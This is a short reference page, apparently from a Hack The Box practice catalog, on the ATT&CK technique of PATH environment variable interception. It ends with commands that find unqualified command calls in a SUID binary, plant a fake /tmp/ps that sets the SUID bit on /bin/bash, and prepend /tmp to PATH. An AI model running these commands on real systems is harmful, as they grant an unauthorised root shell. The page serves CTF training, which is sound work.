T1574.007

Path Interception by PATH Environment Variable

Sub-technique of T1574 Hijack Execution Flow ↗

Putting your own program first in PATH with the name of a command a privileged process calls without an absolute path.

How it shows up on Hack The Box

Run strings on the SUID binary or sudo script: if it calls tar, ps or curl without /usr/bin/, create one in /tmp, prepend /tmp to PATH and run it.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Linux privilege escalation › Exploitation

Find calls without a path
strings /usr/local/bin/binario | grep -vE '^/'
Hijack the command
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH